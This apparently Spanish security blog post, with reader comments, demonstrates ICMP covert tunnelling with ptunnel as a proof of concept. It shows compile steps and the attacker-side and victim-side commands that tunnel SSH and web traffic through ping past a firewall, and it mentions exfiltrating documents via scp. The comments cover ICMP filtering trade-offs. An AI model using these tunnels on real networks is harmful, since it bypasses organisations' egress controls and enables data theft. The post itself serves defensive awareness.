La arquitectura de una red empresarial requiere un diseño que permita la separación entre los usuarios, servidores internos y los servidores perimetrales o DMZ. Un diseño básico inicial consiste en un cortafuegos principal que separa el tráfico que va a la red perimetral del que va al resto de redes, existiendo un segundo cortafuegos de distinto fabricante en la entrada de la red de servidores internos, y entre ambos el servidor de VPN. Un esquema resumido sería el siguiente:
Un diseño de red como el expuesto suele acarrear una mayor dificultad a la hora de obtener ventaja de vulnerabilidades existentes en la DMZ, así como, para saltarse las restricciones de acceso a internet por parte de los usuarios (y por tanto de los empleados) sin pasar por el proxy web con filtrado de acceso y contenidos.
Por desgracia algunos administradores de redes cometen el fallo de no filtrar el tráfico ICMP, especialmente el “ping”, tanto desde la red DMZ como a los usuarios, e incluso permitir el tráfico ICMP en servidores internos. Pero sí en cambio filtran el tráfico UDP y TCP. Debido a este fallo de configuración, muy común por desgracia, un atacante podría emplear canales encubiertos en protocolo ICMP para realizar conexiones inversas o saltarse las restricciones y políticas de seguridad de la empresa.
Como prueba de concepto se va a emplear la herramienta ptunnel. Esta herramienta crea dos túneles o canales; el primero se crea entre el cliente y el proxy ptunnel empleando únicamente el tráfico ICMP, mientras que el segundo se produce entre el destino real y el proxy, empleando para ello el protocolo legítimo.
Comencemos descargándonos la herramienta, actualmente en su versión 0.7. Una vez descargada descomprimiremos el código fuente y lo analizaremos para comprobar que no contiene código malicioso (como lo hacemos siempre, ¿verdad?…). El siguiente paso será instalar las libpcap-dev y compilarlo creando el binario “ptunnel”. Por ejemplo, para Debian o Ubuntu sería necesario seguir los siguientes pasos:
# tar xvfz PingTunnel-0.70.tar.gz
# cd PingTunnel-0.70/
# apt-get install libpcap-dev
# make
Una vez disponemos de la herramienta comenzaremos con la simulación, donde se conectará por SSH a un servidor mediante el empleo de canales encubiertos ICMP desde un servidor de la red interna, el cual solo permite como tráfico saliente el “ping” y conexiones previamente establecidas.
En la prueba el atacante hace una conexión SSH al servidor que controla, pero perfectamente podría haber realizado una copia cifrada de la documentación de la empresa usando el mismo puerto SSH mediante “scp”. Recuerden que esto es una prueba de concepto cuyo objetivo es mostrar que se puede hacer, pero no dar consejos a los atacantes de lo que deberían hacer.
El servidor interno será la IP 192.168.2.104 y el equipo que controla el atacante será la IP 192.168.2.105, que podría haberse tratado de un equipo en Internet, el cual dispone de un servicio SSH y un proxy ptunnel.
Las órdenes necesarias son:
Servidor del atacante:
# ./ptunnel -x patata
Servidor víctima red interna:
# ./ptunnel -p 192.168.2.105 -lp 80 -da 192.168.2.105 -dp 22 -x patata
# ssh localhost -p 80
Tal como podemos ver en la siguiente imagen, donde se aprecian dos consolas del servidor interno. La superior representa el túnel ICMP hacia la ip 192.168.2.105, cuya conexión real es el puerto 22 del mismo equipo. La consola inferior representa la conexión SSH hacia la máquina del atacante:
Y éste es el registro que nos muestra el proxy ptunnel del servidor del atacante:
Para finalizar mostraremos una traza con Wireshark donde el servidor interno 192.168.2.104 establece un túnel de tráfico ICMP con el servidor 192.168.2.105 para conectarse a una web de Internet cuya IP es 209.8XX.XXX.XXX; para ello empleamos la siguiente orden:
# ./ptunnel -p 192.168.2.105 -lp 33 -da 209.8XX.XXX.XXX -dp 80 -x patata
Como vemos entre el servidor interno y el proxy ptunnel solo hay paquetes ICMP de tipo request y reply, es decir, un “ping”. Por tanto un atacante podría conectarse y permitir conexiones inversas hacia los servidores de red interna mediante paquetes ICMP. Por este y otros motivos, es muy importante que no únicamente se le preste atención a los protocolos UDP y TCP en los cortafuegos, sino también a ICMP.
A mi lo que mas gracia me suele hacer cuando cortas el ICMP es que la gente de alta calurnia te dice: El servidor se ha caido.
¿a que te refieres?
A que el Ping no va.
Esta muy bien lo cortar el icmp, pero hay que tener cuidado ya que el ICMP en muchas ocasiones hace cosas utiles, y necesarias para el buen funcionamiento de las redes, ICMP-don’t fragment, ICMP-unreachable.
Si se cierra por completo, pueden haber problemas insospechados y de dificil seguimiento, muy recomendable el disponer de un cortafuegos que trate de manera inteligente los “ICMP related packets”.
Buenas Damia,
lógicamente tiene sus desventajas filtrar los paquetes ICMP, pero justamente esos ICMP que comentas se recomienda filtrar siempre que sea posible.
Una forma de reconocer puertos UDP es justamente gracias a ese “ICMP-unreachable”, puesto que cuando se envía un paquete UDP y no se recibe respuesta se sabe que ese puerto esta abierto o filtrado, en cambio si se recibe un paquete “ICMP-unreachable” se sabe que ese puerto está cerrado. Un Firewall no debería permitir diferenciar a un atacante si un puerto está cerrado o abierto/filtrado.
Respecto al “ICMP Not DF” permite obtener por un lado el MTU soportado por tu red, y por otro lado, puede ser empleado para denegaciones de servicio mediante un “Not Fragment Low MTU DoS”, ataque que afecto entre otros a dispositivos CISCO y sistemas operativos Windows.
Un saludo